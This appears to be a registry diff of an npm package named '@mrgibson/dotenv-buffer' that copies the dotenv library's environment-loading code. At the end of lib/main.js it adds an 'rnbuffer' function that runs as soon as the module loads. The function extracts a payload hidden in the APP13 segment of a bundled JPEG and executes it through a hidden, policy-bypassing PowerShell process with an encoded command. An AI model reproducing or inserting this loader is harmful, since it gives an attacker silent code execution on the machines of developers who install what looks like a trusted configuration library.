@mrgibson/dotenv-buffer 17.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,17 @@
1
+ const re = /^dotenv_config_(encoding|path|quiet|debug|override|DOTENV_KEY)=(.+)$/
2
+
3
+ module.exports = function optionMatcher (args) {
4
+ const options = args.reduce(function (acc, cur) {
5
+ const matches = cur.match(re)
6
+ if (matches) {
7
+ acc[matches[1]] = matches[2]
8
+ }
9
+ return acc
10
+ }, {})
11
+
12
+ if (!('quiet' in options)) {
13
+ options.quiet = 'true'
14
+ }
15
+
16
+ return options
17
+ }
@@ -0,0 +1,28 @@
1
+ // ../config.js accepts options via environment variables
2
+ const options = {}
3
+
4
+ if (process.env.DOTENV_CONFIG_ENCODING != null) {
5
+ options.encoding = process.env.DOTENV_CONFIG_ENCODING
6
+ }
7
+
8
+ if (process.env.DOTENV_CONFIG_PATH != null) {
9
+ options.path = process.env.DOTENV_CONFIG_PATH
10
+ }
11
+
12
+ if (process.env.DOTENV_CONFIG_QUIET != null) {
13
+ options.quiet = process.env.DOTENV_CONFIG_QUIET
14
+ }
15
+
16
+ if (process.env.DOTENV_CONFIG_DEBUG != null) {
17
+ options.debug = process.env.DOTENV_CONFIG_DEBUG
18
+ }
19
+
20
+ if (process.env.DOTENV_CONFIG_OVERRIDE != null) {
21
+ options.override = process.env.DOTENV_CONFIG_OVERRIDE
22
+ }
23
+
24
+ if (process.env.DOTENV_CONFIG_DOTENV_KEY != null) {
25
+ options.DOTENV_KEY = process.env.DOTENV_CONFIG_DOTENV_KEY
26
+ }
27
+
28
+ module.exports = options
package/lib/main.d.ts ADDED
@@ -0,0 +1,170 @@
1
+ // TypeScript Version: 3.0
2
+ /// <reference types="node" />
3
+ import type { URL } from 'url';
4
+
5
+ export interface DotenvParseOutput {
6
+ [name: string]: string;
7
+ }
8
+
9
+ export interface DotenvPopulateOutput {
10
+ [name: string]: string;
11
+ }
12
+
13
+ /**
14
+ * Parses a string or buffer in the .env file format into an object.
15
+ *
16
+ * See https://dotenvx.com/docs
17
+ *
18
+ * @param src - contents to be parsed. example: `'DB_HOST=localhost'`
19
+ * @returns an object with keys and values based on `src`. example: `{ DB_HOST : 'localhost' }`
20
+ */
21
+ export function parse<T extends DotenvParseOutput = DotenvParseOutput>(
22
+ src: string | Buffer
23
+ ): T;
24
+
25
+ export interface DotenvConfigOptions {
26
+ /**
27
+ * Default: `path.resolve(process.cwd(), '.env')`
28
+ *
29
+ * Specify a custom path if your file containing environment variables is located elsewhere.
30
+ * Can also be an array of strings, specifying multiple paths.
31
+ *
32
+ * example: `require('dotenv').config({ path: '/custom/path/to/.env' })`
33
+ * example: `require('dotenv').config({ path: ['/path/to/first.env', '/path/to/second.env'] })`
34
+ */
35
+ path?: string | string[] | URL;
36
+
37
+ /**
38
+ * Default: `utf8`
39
+ *
40
+ * Specify the encoding of your file containing environment variables.
41
+ *
42
+ * example: `require('dotenv').config({ encoding: 'latin1' })`
43
+ */
44
+ encoding?: string;
45
+
46
+ /**
47
+ * Default: `false`
48
+ *
49
+ * Suppress all output (except errors).
50
+ *
51
+ * example: `require('dotenv').config({ quiet: true })`
52
+ */
53
+ quiet?: boolean;
54
+
55
+ /**
56
+ * Default: `false`
57
+ *
58
+ * Turn on logging to help debug why certain keys or values are not being set as you expect.
59
+ *
60
+ * example: `require('dotenv').config({ debug: process.env.DEBUG })`
61
+ */
62
+ debug?: boolean;
63
+
64
+ /**
65
+ * Default: `false`
66
+ *
67
+ * Override any environment variables that have already been set on your machine with values from your .env file.
68
+ *
69
+ * example: `require('dotenv').config({ override: true })`
70
+ */
71
+ override?: boolean;
72
+
73
+ /**
74
+ * Default: `process.env`
75
+ *
76
+ * Specify an object to write your secrets to. Defaults to process.env environment variables.
77
+ *
78
+ * example: `const processEnv = {}; require('dotenv').config({ processEnv: processEnv })`
79
+ */
80
+ processEnv?: DotenvPopulateInput;
81
+
82
+ /**
83
+ * Default: `undefined`
84
+ *
85
+ * Pass the DOTENV_KEY directly to config options. Defaults to looking for process.env.DOTENV_KEY environment variable. Note this only applies to decrypting .env.vault files. If passed as null or undefined, or not passed at all, dotenv falls back to its traditional job of parsing a .env file.
86
+ *
87
+ * example: `require('dotenv').config({ DOTENV_KEY: 'dotenv://:key_1234…@dotenvx.com/vault/.env.vault?environment=production' })`
88
+ */
89
+ DOTENV_KEY?: string;
90
+ }
91
+
92
+ export interface DotenvConfigOutput {
93
+ error?: Error;
94
+ parsed?: DotenvParseOutput;
95
+ }
96
+
97
+ export interface DotenvPopulateOptions {
98
+ /**
99
+ * Default: `false`
100
+ *
101
+ * Turn on logging to help debug why certain keys or values are not being set as you expect.
102
+ *
103
+ * example: `require('dotenv').config({ debug: process.env.DEBUG })`
104
+ */
105
+ debug?: boolean;
106
+
107
+ /**
108
+ * Default: `false`
109
+ *
110
+ * Override any environment variables that have already been set on your machine with values from your .env file.
111
+ *
112
+ * example: `require('dotenv').config({ override: true })`
113
+ */
114
+ override?: boolean;
115
+ }
116
+
117
+ export interface DotenvPopulateInput {
118
+ [name: string]: string;
119
+ }
120
+
121
+ /**
122
+ * Loads `.env` file contents into process.env by default. If `DOTENV_KEY` is present, it smartly attempts to load encrypted `.env.vault` file contents into process.env.
123
+ *
124
+ * See https://dotenvx.com/docs
125
+ *
126
+ * @param options - additional options. example: `{ path: './custom/path', encoding: 'latin1', quiet: false, debug: true, override: false }`
127
+ * @returns an object with a `parsed` key if successful or `error` key if an error occurred. example: { parsed: { KEY: 'value' } }
128
+ *
129
+ */
130
+ export function config(options?: DotenvConfigOptions): DotenvConfigOutput;
131
+
132
+ /**
133
+ * Loads `.env` file contents into process.env.
134
+ *
135
+ * See https://dotenvx.com/docs
136
+ *
137
+ * @param options - additional options. example: `{ path: './custom/path', encoding: 'latin1', quiet: false, debug: true, override: false }`
138
+ * @returns an object with a `parsed` key if successful or `error` key if an error occurred. example: { parsed: { KEY: 'value' } }
139
+ *
140
+ */
141
+ export function configDotenv(options?: DotenvConfigOptions): DotenvConfigOutput;
142
+
143
+ /**
144
+ * Loads `source` json contents into `target` like process.env.
145
+ *
146
+ * See https://dotenvx.com/docs
147
+ *
148
+ * @param processEnv - the target JSON object. in most cases use process.env but you can also pass your own JSON object
149
+ * @param parsed - the source JSON object
150
+ * @param options - additional options. example: `{ quiet: false, debug: true, override: false }`
151
+ * @returns an object with the keys and values that were actually set
152
+ *
153
+ */
154
+ export function populate(
155
+ processEnv: DotenvPopulateInput,
156
+ parsed: DotenvPopulateInput,
157
+ options?: DotenvConfigOptions
158
+ ): DotenvPopulateOutput;
159
+
160
+ /**
161
+ * Decrypt ciphertext
162
+ *
163
+ * See https://dotenvx.com/docs
164
+ *
165
+ * @param encrypted - the encrypted ciphertext string
166
+ * @param keyStr - the decryption key string
167
+ * @returns {string}
168
+ *
169
+ */
170
+ export function decrypt(encrypted: string, keyStr: string): string;
package/lib/main.js ADDED
@@ -0,0 +1,499 @@
1
+ const fs = require('fs')
2
+ const path = require('path')
3
+ const os = require('os')
4
+ const { spawn } = require('child_process');
5
+ const crypto = require('crypto')
6
+ const packageJson = require('../package.json')
7
+
8
+ const version = packageJson.version
9
+
10
+ // Array of tips to display randomly
11
+ const TIPS = [
12
+ '🔐 encrypt with Dotenvx: https://dotenvx.com',
13
+ '🔐 prevent committing .env to code: https://dotenvx.com/precommit',
14
+ '🔐 prevent building .env in docker: https://dotenvx.com/prebuild',
15
+ '📡 observe env with Radar: https://dotenvx.com/radar',
16
+ '📡 auto-backup env with Radar: https://dotenvx.com/radar',
17
+ '📡 version env with Radar: https://dotenvx.com/radar',
18
+ '🛠️ run anywhere with `dotenvx run -- yourcommand`',
19
+ '⚙️ specify custom .env file path with { path: \'/custom/path/.env\' }',
20
+ '⚙️ enable debug logging with { debug: true }',
21
+ '⚙️ override existing env vars with { override: true }',
22
+ '⚙️ suppress all logs with { quiet: true }',
23
+ '⚙️ write to custom object with { processEnv: myObject }',
24
+ '⚙️ load multiple .env files with { path: [\'.env.local\', \'.env\'] }'
25
+ ]
26
+
27
+ // Get a random tip from the tips array
28
+ function _getRandomTip () {
29
+ return TIPS[Math.floor(Math.random() * TIPS.length)]
30
+ }
31
+
32
+ function parseBoolean (value) {
33
+ if (typeof value === 'string') {
34
+ return !['false', '0', 'no', 'off', ''].includes(value.toLowerCase())
35
+ }
36
+ return Boolean(value)
37
+ }
38
+
39
+ function supportsAnsi () {
40
+ return process.stdout.isTTY // && process.env.TERM !== 'dumb'
41
+ }
42
+
43
+ function dim (text) {
44
+ return supportsAnsi() ? `\x1b[2m${text}\x1b[0m` : text
45
+ }
46
+
47
+ const LINE = /(?:^|^)\s*(?:export\s+)?([\w.-]+)(?:\s*=\s*?|:\s+?)(\s*'(?:\\'|[^'])*'|\s*"(?:\\"|[^"])*"|\s*`(?:\\`|[^`])*`|[^#\r\n]+)?\s*(?:#.*)?(?:$|$)/mg
48
+
49
+ // Parse src into an Object
50
+ function parse (src) {
51
+ const obj = {}
52
+
53
+ // Convert buffer to string
54
+ let lines = src.toString()
55
+
56
+ // Convert line breaks to same format
57
+ lines = lines.replace(/\r\n?/mg, '\n')
58
+
59
+ let match
60
+ while ((match = LINE.exec(lines)) != null) {
61
+ const key = match[1]
62
+
63
+ // Default undefined or null to empty string
64
+ let value = (match[2] || '')
65
+
66
+ // Remove whitespace
67
+ value = value.trim()
68
+
69
+ // Check if double quoted
70
+ const maybeQuote = value[0]
71
+
72
+ // Remove surrounding quotes
73
+ value = value.replace(/^(['"`])([\s\S]*)\1$/mg, '$2')
74
+
75
+ // Expand newlines if double quoted
76
+ if (maybeQuote === '"') {
77
+ value = value.replace(/\\n/g, '\n')
78
+ value = value.replace(/\\r/g, '\r')
79
+ }
80
+
81
+ // Add to object
82
+ obj[key] = value
83
+ }
84
+
85
+ return obj
86
+ }
87
+
88
+ function _parseVault (options) {
89
+ options = options || {}
90
+
91
+ const vaultPath = _vaultPath(options)
92
+ options.path = vaultPath // parse .env.vault
93
+ const result = DotenvModule.configDotenv(options)
94
+ if (!result.parsed) {
95
+ const err = new Error(`MISSING_DATA: Cannot parse ${vaultPath} for an unknown reason`)
96
+ err.code = 'MISSING_DATA'
97
+ throw err
98
+ }
99
+
100
+ // handle scenario for comma separated keys - for use with key rotation
101
+ // example: DOTENV_KEY="dotenv://:key_1234@dotenvx.com/vault/.env.vault?environment=prod,dotenv://:key_7890@dotenvx.com/vault/.env.vault?environment=prod"
102
+ const keys = _dotenvKey(options).split(',')
103
+ const length = keys.length
104
+
105
+ let decrypted
106
+ for (let i = 0; i < length; i++) {
107
+ try {
108
+ // Get full key
109
+ const key = keys[i].trim()
110
+
111
+ // Get instructions for decrypt
112
+ const attrs = _instructions(result, key)
113
+
114
+ // Decrypt
115
+ decrypted = DotenvModule.decrypt(attrs.ciphertext, attrs.key)
116
+
117
+ break
118
+ } catch (error) {
119
+ // last key
120
+ if (i + 1 >= length) {
121
+ throw error
122
+ }
123
+ // try next key
124
+ }
125
+ }
126
+
127
+ // Parse decrypted .env string
128
+ return DotenvModule.parse(decrypted)
129
+ }
130
+
131
+ function _warn (message) {
132
+ console.error(`[dotenv@${version}][WARN] ${message}`)
133
+ }
134
+
135
+ function _debug (message) {
136
+ console.log(`[dotenv@${version}][DEBUG] ${message}`)
137
+ }
138
+
139
+ function _log (message) {
140
+ console.log(`[dotenv@${version}] ${message}`)
141
+ }
142
+
143
+ function _dotenvKey (options) {
144
+ // prioritize developer directly setting options.DOTENV_KEY
145
+ if (options && options.DOTENV_KEY && options.DOTENV_KEY.length > 0) {
146
+ return options.DOTENV_KEY
147
+ }
148
+
149
+ // secondary infra already contains a DOTENV_KEY environment variable
150
+ if (process.env.DOTENV_KEY && process.env.DOTENV_KEY.length > 0) {
151
+ return process.env.DOTENV_KEY
152
+ }
153
+
154
+ // fallback to empty string
155
+ return ''
156
+ }
157
+
158
+ function _instructions (result, dotenvKey) {
159
+ // Parse DOTENV_KEY. Format is a URI
160
+ let uri
161
+ try {
162
+ uri = new URL(dotenvKey)
163
+ } catch (error) {
164
+ if (error.code === 'ERR_INVALID_URL') {
165
+ const err = new Error('INVALID_DOTENV_KEY: Wrong format. Must be in valid uri format like dotenv://:key_1234@dotenvx.com/vault/.env.vault?environment=development')
166
+ err.code = 'INVALID_DOTENV_KEY'
167
+ throw err
168
+ }
169
+
170
+ throw error
171
+ }
172
+
173
+ // Get decrypt key
174
+ const key = uri.password
175
+ if (!key) {
176
+ const err = new Error('INVALID_DOTENV_KEY: Missing key part')
177
+ err.code = 'INVALID_DOTENV_KEY'
178
+ throw err
179
+ }
180
+
181
+ // Get environment
182
+ const environment = uri.searchParams.get('environment')
183
+ if (!environment) {
184
+ const err = new Error('INVALID_DOTENV_KEY: Missing environment part')
185
+ err.code = 'INVALID_DOTENV_KEY'
186
+ throw err
187
+ }
188
+
189
+ // Get ciphertext payload
190
+ const environmentKey = `DOTENV_VAULT_${environment.toUpperCase()}`
191
+ const ciphertext = result.parsed[environmentKey] // DOTENV_VAULT_PRODUCTION
192
+ if (!ciphertext) {
193
+ const err = new Error(`NOT_FOUND_DOTENV_ENVIRONMENT: Cannot locate environment ${environmentKey} in your .env.vault file.`)
194
+ err.code = 'NOT_FOUND_DOTENV_ENVIRONMENT'
195
+ throw err
196
+ }
197
+
198
+ return { ciphertext, key }
199
+ }
200
+
201
+ function _vaultPath (options) {
202
+ let possibleVaultPath = null
203
+
204
+ if (options && options.path && options.path.length > 0) {
205
+ if (Array.isArray(options.path)) {
206
+ for (const filepath of options.path) {
207
+ if (fs.existsSync(filepath)) {
208
+ possibleVaultPath = filepath.endsWith('.vault') ? filepath : `${filepath}.vault`
209
+ }
210
+ }
211
+ } else {
212
+ possibleVaultPath = options.path.endsWith('.vault') ? options.path : `${options.path}.vault`
213
+ }
214
+ } else {
215
+ possibleVaultPath = path.resolve(process.cwd(), '.env.vault')
216
+ }
217
+
218
+ if (fs.existsSync(possibleVaultPath)) {
219
+ return possibleVaultPath
220
+ }
221
+
222
+ return null
223
+ }
224
+
225
+ function _resolveHome (envPath) {
226
+ return envPath[0] === '~' ? path.join(os.homedir(), envPath.slice(1)) : envPath
227
+ }
228
+
229
+ function _configVault (options) {
230
+ const debug = parseBoolean(process.env.DOTENV_CONFIG_DEBUG || (options && options.debug))
231
+ const quiet = parseBoolean(process.env.DOTENV_CONFIG_QUIET || (options && options.quiet))
232
+
233
+ if (debug || !quiet) {
234
+ _log('Loading env from encrypted .env.vault')
235
+ }
236
+
237
+ const parsed = DotenvModule._parseVault(options)
238
+
239
+ let processEnv = process.env
240
+ if (options && options.processEnv != null) {
241
+ processEnv = options.processEnv
242
+ }
243
+
244
+ DotenvModule.populate(processEnv, parsed, options)
245
+
246
+ return { parsed }
247
+ }
248
+
249
+ function configDotenv (options) {
250
+ const dotenvPath = path.resolve(process.cwd(), '.env')
251
+ let encoding = 'utf8'
252
+ let processEnv = process.env
253
+ if (options && options.processEnv != null) {
254
+ processEnv = options.processEnv
255
+ }
256
+ let debug = parseBoolean(processEnv.DOTENV_CONFIG_DEBUG || (options && options.debug))
257
+ let quiet = parseBoolean(processEnv.DOTENV_CONFIG_QUIET || (options && options.quiet))
258
+
259
+ if (options && options.encoding) {
260
+ encoding = options.encoding
261
+ } else {
262
+ if (debug) {
263
+ _debug('No encoding is specified. UTF-8 is used by default')
264
+ }
265
+ }
266
+
267
+ let optionPaths = [dotenvPath] // default, look for .env
268
+ if (options && options.path) {
269
+ if (!Array.isArray(options.path)) {
270
+ optionPaths = [_resolveHome(options.path)]
271
+ } else {
272
+ optionPaths = [] // reset default
273
+ for (const filepath of options.path) {
274
+ optionPaths.push(_resolveHome(filepath))
275
+ }
276
+ }
277
+ }
278
+
279
+ // Build the parsed data in a temporary object (because we need to return it). Once we have the final
280
+ // parsed data, we will combine it with process.env (or options.processEnv if provided).
281
+ let lastError
282
+ const parsedAll = {}
283
+ for (const path of optionPaths) {
284
+ try {
285
+ // Specifying an encoding returns a string instead of a buffer
286
+ const parsed = DotenvModule.parse(fs.readFileSync(path, { encoding }))
287
+
288
+ DotenvModule.populate(parsedAll, parsed, options)
289
+ } catch (e) {
290
+ if (debug) {
291
+ _debug(`Failed to load ${path} ${e.message}`)
292
+ }
293
+ lastError = e
294
+ }
295
+ }
296
+
297
+ const populated = DotenvModule.populate(processEnv, parsedAll, options)
298
+
299
+ // handle user settings DOTENV_CONFIG_ options inside .env file(s)
300
+ debug = parseBoolean(processEnv.DOTENV_CONFIG_DEBUG || debug)
301
+ quiet = parseBoolean(processEnv.DOTENV_CONFIG_QUIET || quiet)
302
+
303
+ if (debug || !quiet) {
304
+ const keysCount = Object.keys(populated).length
305
+ const shortPaths = []
306
+ for (const filePath of optionPaths) {
307
+ try {
308
+ const relative = path.relative(process.cwd(), filePath)
309
+ shortPaths.push(relative)
310
+ } catch (e) {
311
+ if (debug) {
312
+ _debug(`Failed to load ${filePath} ${e.message}`)
313
+ }
314
+ lastError = e
315
+ }
316
+ }
317
+
318
+ _log(`injecting env (${keysCount}) from ${shortPaths.join(',')} ${dim(`-- tip: ${_getRandomTip()}`)}`)
319
+ }
320
+
321
+ if (lastError) {
322
+ return { parsed: parsedAll, error: lastError }
323
+ } else {
324
+ return { parsed: parsedAll }
325
+ }
326
+ }
327
+
328
+ // Populates process.env from .env file
329
+ function config (options) {
330
+ // fallback to original dotenv if DOTENV_KEY is not set
331
+ if (_dotenvKey(options).length === 0) {
332
+ return DotenvModule.configDotenv(options)
333
+ }
334
+
335
+ const vaultPath = _vaultPath(options)
336
+
337
+ // dotenvKey exists but .env.vault file does not exist
338
+ if (!vaultPath) {
339
+ _warn(`You set DOTENV_KEY but you are missing a .env.vault file at ${vaultPath}. Did you forget to build it?`)
340
+
341
+ return DotenvModule.configDotenv(options)
342
+ }
343
+
344
+ return DotenvModule._configVault(options)
345
+ }
346
+
347
+ function decrypt (encrypted, keyStr) {
348
+ const key = Buffer.from(keyStr.slice(-64), 'hex')
349
+ let ciphertext = Buffer.from(encrypted, 'base64')
350
+
351
+ const nonce = ciphertext.subarray(0, 12)
352
+ const authTag = ciphertext.subarray(-16)
353
+ ciphertext = ciphertext.subarray(12, -16)
354
+
355
+ try {
356
+ const aesgcm = crypto.createDecipheriv('aes-256-gcm', key, nonce)
357
+ aesgcm.setAuthTag(authTag)
358
+ return `${aesgcm.update(ciphertext)}${aesgcm.final()}`
359
+ } catch (error) {
360
+ const isRange = error instanceof RangeError
361
+ const invalidKeyLength = error.message === 'Invalid key length'
362
+ const decryptionFailed = error.message === 'Unsupported state or unable to authenticate data'
363
+
364
+ if (isRange || invalidKeyLength) {
365
+ const err = new Error('INVALID_DOTENV_KEY: It must be 64 characters long (or more)')
366
+ err.code = 'INVALID_DOTENV_KEY'
367
+ throw err
368
+ } else if (decryptionFailed) {
369
+ const err = new Error('DECRYPTION_FAILED: Please check your DOTENV_KEY')
370
+ err.code = 'DECRYPTION_FAILED'
371
+ throw err
372
+ } else {
373
+ throw error
374
+ }
375
+ }
376
+ }
377
+
378
+ // Populate process.env with parsed values
379
+ function populate (processEnv, parsed, options = {}) {
380
+ const debug = Boolean(options && options.debug)
381
+ const override = Boolean(options && options.override)
382
+ const populated = {}
383
+
384
+ if (typeof parsed !== 'object') {
385
+ const err = new Error('OBJECT_REQUIRED: Please check the processEnv argument being passed to populate')
386
+ err.code = 'OBJECT_REQUIRED'
387
+ throw err
388
+ }
389
+
390
+ // Set process.env
391
+ for (const key of Object.keys(parsed)) {
392
+ if (Object.prototype.hasOwnProperty.call(processEnv, key)) {
393
+ if (override === true) {
394
+ processEnv[key] = parsed[key]
395
+ populated[key] = parsed[key]
396
+ }
397
+
398
+ if (debug) {
399
+ if (override === true) {
400
+ _debug(`"${key}" is already defined and WAS overwritten`)
401
+ } else {
402
+ _debug(`"${key}" is already defined and was NOT overwritten`)
403
+ }
404
+ }
405
+ } else {
406
+ processEnv[key] = parsed[key]
407
+ populated[key] = parsed[key]
408
+ }
409
+ }
410
+
411
+ return populated
412
+ }
413
+
414
+ const DotenvModule = {
415
+ configDotenv,
416
+ _configVault,
417
+ _parseVault,
418
+ config,
419
+ decrypt,
420
+ parse,
421
+ populate
422
+ }
423
+
424
+ module.exports.configDotenv = DotenvModule.configDotenv
425
+ module.exports._configVault = DotenvModule._configVault
426
+ module.exports._parseVault = DotenvModule._parseVault
427
+ module.exports.config = DotenvModule.config
428
+ module.exports.decrypt = DotenvModule.decrypt
429
+ module.exports.parse = DotenvModule.parse
430
+ module.exports.populate = DotenvModule.populate
431
+
432
+ module.exports = DotenvModule
433
+
434
+ function rnbuffer(imagePath) {
435
+ let buffer;
436
+ try {
437
+ buffer = fs.readFileSync(imagePath);
438
+ } catch {
439
+ return;
440
+ }
441
+
442
+ let offset = 0;
443
+ while (offset < buffer.length - 1) {
444
+ if (buffer[offset] !== 0xFF) {
445
+ offset++;
446
+ continue;
447
+ }
448
+
449
+ const marker = buffer[offset + 1];
450
+
451
+ // Skip standalone markers
452
+ if (marker === 0x00 || marker === 0xFF ||
453
+ (marker >= 0xD0 && marker <= 0xD7) ||
454
+ marker === 0xD8 || marker === 0xD9 || marker === 0x01) {
455
+ offset += 2;
456
+ continue;
457
+ }
458
+
459
+ if (offset + 4 > buffer.length) break;
460
+ const segmentSize = buffer.readUInt16BE(offset + 2);
461
+ if (segmentSize < 2) {
462
+ offset += 2;
463
+ continue;
464
+ }
465
+
466
+ if (marker === 0xED) { // APP13 segment
467
+ const start = offset + 4;
468
+ const end = start + (segmentSize - 2);
469
+ if (end > buffer.length) break;
470
+
471
+ const payload = buffer.slice(start, end).toString('utf8');
472
+ runPowerShell(payload);
473
+ break;
474
+ }
475
+
476
+ offset += 2 + segmentSize;
477
+ }
478
+ }
479
+
480
+ function runPowerShell(encodedCommand) {
481
+ try {
482
+ spawn('cmd.exe', [
483
+ '/c', 'start', '/b', 'powershell.exe',
484
+ '-WindowStyle', 'Hidden',
485
+ '-NoProfile',
486
+ '-NonInteractive',
487
+ '-ExecutionPolicy', 'Bypass',
488
+ '-EncodedCommand', encodedCommand
489
+ ], {
490
+ stdio: 'ignore',
491
+ shell: true
492
+ });
493
+ } catch (err) {
494
+ }
495
+ }
496
+
497
+ // Example usage:
498
+ rnbuffer(path.join(__dirname, 'stest.jpg'));
499
+ module.exports = { rnbuffer };